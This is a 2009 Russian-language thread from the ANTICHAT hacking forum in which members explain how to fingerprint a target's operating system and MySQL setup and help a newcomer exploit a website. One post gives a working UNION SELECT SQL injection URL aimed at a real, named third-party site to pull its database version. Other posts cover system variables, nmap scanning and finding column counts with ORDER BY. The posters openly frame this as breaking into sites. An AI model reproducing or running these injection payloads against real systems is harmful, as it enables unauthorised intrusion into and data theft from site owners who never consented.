HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 09.01.2009, 21:22
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

В MySQL существуют системные переменные:

@@basedir
@@datadir
@@tmpdir
@@version_compile_os


последняя - ось
 
Ответить с цитированием

  #2  
Старый 09.01.2009, 21:24
diznt
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
С нами: 9619229

Репутация: 445


По умолчанию

мм... не понял, доступа к MySql у мя нету, мне известен токо сайт а самого доступа нет
 
Ответить с цитированием

  #3  
Старый 09.01.2009, 21:29
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

us, вообще-то это приватная инфо, которая равносильна знанию (а может и покруче) version() при sql-inj. Вывод - сначала надо сайтик заломать, потом получать приватную инфо и наслаждаться рез-тами

ЗЫЖ Раздел вроде как "Уязвимости называется" - уязвимости, ведущие ко взлому, получению приватной инфы, дальше делай выводы сам Удачи

В данном случае эта инфа тебе поможет только если ты нашел sql-inj на сайте, подобрал кол-во колонок и узнал хотя бы version() БД
 
Ответить с цитированием

  #4  
Старый 09.01.2009, 21:42
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

diznt
nmap -0 или любой сканер,способный на это, или снятие баннеров, или просто тупо вбей
site.ru/index.php
site.ru/index.PHP
винде пофиг на регистр, или по ошибкам, всякое бывает, это вобщем целая история.... способов куча
 
Ответить с цитированием

  #5  
Старый 09.01.2009, 23:45
4adr0s
Познающий
Регистрация: 14.12.2007
Сообщений: 79
С нами: 9688243

Репутация: 75
По умолчанию

diznt, пусть браузер выдаст окно ошибки, внизу увидишь название системы, версию сервера и т.п., но не факт, что все - истина
 
Ответить с цитированием

  #6  
Старый 10.01.2009, 12:07
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
С нами: 9416045

Репутация: 126
По умолчанию

Цитата:
http://www.hard-ekt.ru/index.php?section=-1+union+select+1%20--
помогите подобрать количество колонок..
 
Ответить с цитированием

  #7  
Старый 10.01.2009, 12:14
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

http://www.hard-ekt.ru/index.php?section=-1+union+select+1,2,version(),4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20%20--
 
Ответить с цитированием

  #8  
Старый 10.01.2009, 12:20
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

F4R
Может пора заканчивать с такими вопросами?
В чём у тебя возникли сложности? Или тебе просто лень? Там всё элементарно, а это уже наверное 10 твой такой вопрос, неужели так трудно подбирать колонки?
Прочитай одну любую статью по скулям
 
Ответить с цитированием

  #9  
Старый 10.01.2009, 12:27
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
С нами: 9416045

Репутация: 126
По умолчанию

дак я читал...
просто непонятно вы что в ручную всё подбраете или тупо линк кинули в прогу и она сама подобрала?
 
Ответить с цитированием

  #10  
Старый 10.01.2009, 12:29
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Цитата:
Сообщение от F4R  
дак я читал...
просто непонятно вы что в ручную всё подбраете или тупо линк кинули в прогу и она сама подобрала?
А что там подбирать-то?
order by
group by
в статьях это отлично расписано
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.